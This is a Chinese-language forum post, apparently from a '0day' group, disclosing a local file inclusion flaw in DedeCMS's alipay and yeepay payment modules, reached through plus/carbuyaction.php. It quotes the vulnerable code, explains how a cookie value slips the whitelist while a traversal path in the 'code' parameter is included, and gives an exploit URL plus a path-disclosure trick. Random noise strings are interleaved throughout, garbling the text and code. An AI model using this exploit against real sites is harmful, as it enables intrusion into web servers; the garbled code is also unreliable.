晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)
, f& } e5 U/ \$ f! k8 _3 ^ J( m
9 H) m8 S& x- K) t4 y出现漏洞的两个文件为:
2 H8 r% j# F) `3 cInclude/payment/alipay.php
8 V8 ]/ y+ G8 m6 ~: b sInclude/payment/yeepay.php
& u+ j- E4 R. i) e9 a% r漏洞均出现在respond方法里,估计这两个文件是临时工写的。' y- w$ E6 \9 m0 D ]& O. ~
$ ^. r" `% L7 R) x
Include/payment/alipay.php7 ]# {2 o: G% O$ y
/ H) q4 U, V7 |8 x) A; ?......2 v7 |/ j# f5 L9 k2 c' A
function respond() C+ g4 e9 V: J
{
, H0 n: H. P. R2 t: o if (!empty($_POST))+ {3 `" _2 Z% Z/ g2 |0 d3 i+ }
{& U& N! Z5 d9 U; u, \" `" z. |
foreach($_POST as $key => $data); l7 W& E# U. H1 Q1 j4 I
{
8 k! H W) ?/ H/ A- c- N; o $_GET[$key] = $data;5 C, s ]9 a1 `. k9 G# Z, l+ H3 q
}
2 s& O5 g9 k- G% g }
$ R* ~/ [" Y1 {. V" L: K /* 引入配置文件 */
$ G2 h& A$ ]. {9 G& c W) z require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';* q$ j: h) F6 d- q8 C& I2 J
...... # S8 K, Z# ]8 s6 G c
* e, N# G. Z5 {* ?. q
" u' Q# X% ]# }
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
8 t$ B+ g. u5 a; z+ i2 p2 m# Z
! d# T2 q M( D6 I, T; wInclude/payment/yeepay.php
* x/ R' Z- i/ N$ K; E9 l, @6 a" [( w3 I
5 W9 c5 M. d7 A; K* h, g0 g4 R1 s, |; a
......
; t1 m8 L- d0 G6 z3 o& S function respond()% q6 \+ ?( H% h9 i" {: p# Z8 z
{0 S. L& K3 g# Q+ c9 b: l& F& E8 l
t7 {6 J( e% P" }: H; y /* 引入配置文件 */
$ m2 N' x, R& k2 l C require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
# W( S2 n' D: C 2 J% X/ x. Y1 P; G8 A1 e
$p1_MerId = trim($payment['yp_account']);: c. X6 q# }! N1 ]9 |: P) P0 E
$merchantKey = trim($payment['yp_key']);
+ Y6 g; c/ S# I) U! N- W2 @9 Q; p......
9 | e# b5 j% B( c4 B1 i8 |" N
/ u+ @# T/ k& J( W. D5 |9 l
# P- H) }3 z# \, Y : t& G" @/ e8 J
- n3 x+ q7 z' W6 Q4 c B7 g5 P" w
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。0 B: [* S# g& I3 Z, s* e
4 @; l5 G& x- ]" g9 e' B* k5 l
这两个方法在plus/carbuyaction.php文件调用。
. J: l9 Y# y! D6 n$ b6 _
- o7 @' [2 p) x7 ~- j3 g9 oplus/carbuyaction.php( \$ u! D9 q9 {0 I: y0 e
! X, i; m* J% ~! z9 }: ?
......* t- d) `7 v# S
} else if ($dopost == 'return') {
; j. N0 C3 c% r/ C $write_list = array('alipay', 'bank', 'cod', 'yeepay');: r1 |/ ]$ L" ?
if (in_array($code, $write_list))/ v4 G* w$ [. L* z# O
{
0 x6 j+ Y; T& F" l require_once DEDEINC.'/payment/'.$code.'.php';) h0 i6 I" `1 m" R% R) c
$pay = new $code;7 F m& p7 a7 _
$msg=$pay->respond();/ Q% i3 [* O7 q' }- `3 M& l; u
ShowMsg($msg, "javascript:;", 0, 3000);* c% g C' U2 G1 j: b
exit();
# z# J- V6 v' z$ X4 a' F. F- w. ] } else {
$ s( k2 R/ N' ?% f( @. B exit('Error:File Type Can\'t Recognized!');' V+ v4 Z8 a# L1 I! l6 R9 A( C& J; @
}+ n& C. O0 l( |
}
% |- E5 V# c7 W |/ d......
0 s9 w% M7 m( Z. e9 Q3 a/ E
[2 S. W& f# }+ k# |
9 a1 a0 q v' m9 ~
% g( k3 a8 U y7 D, Z& k
" Z0 t3 Y6 D. p3 U: _2 T * u" p/ Y1 v6 j* A, D
& A, t7 e* ]* n' \
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。* W( m; {/ d0 C3 @7 B
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。* @5 t' b. F" L0 ~
" B2 n, u, S: ]% N
回到include/common.inc.php来看看他的机制。
6 O) v# G; v w
+ K/ g5 o* q3 g' M) o- Y 7 ]. H. A+ l# e1 M; Z
6 a1 j0 c% U4 E8 I
......( |1 Y1 a' S: b$ \
foreach(Array('_GET','_POST','_COOKIE') as $_request)
3 q2 C* |, e: f: M{6 z7 ?- O3 K! H& O# _
foreach($$_request as $_k => $_v)
. g7 D1 R5 R" L; n {0 ?4 a; h, Y' f1 c6 j
if($_k == 'nvarname') ${$_k} = $_v;
. H n2 U/ n5 B) h else ${$_k} = _RunMagicQuotes($_v);
% q: v4 A' ^) A+ S0 s- y }
* @9 t0 ~9 n" I' B* F}
0 J* g }) q: ]; `...... 1 z/ P* m. A- j* e4 v$ S
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
3 w0 I- p3 k& }2 h% s% f由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |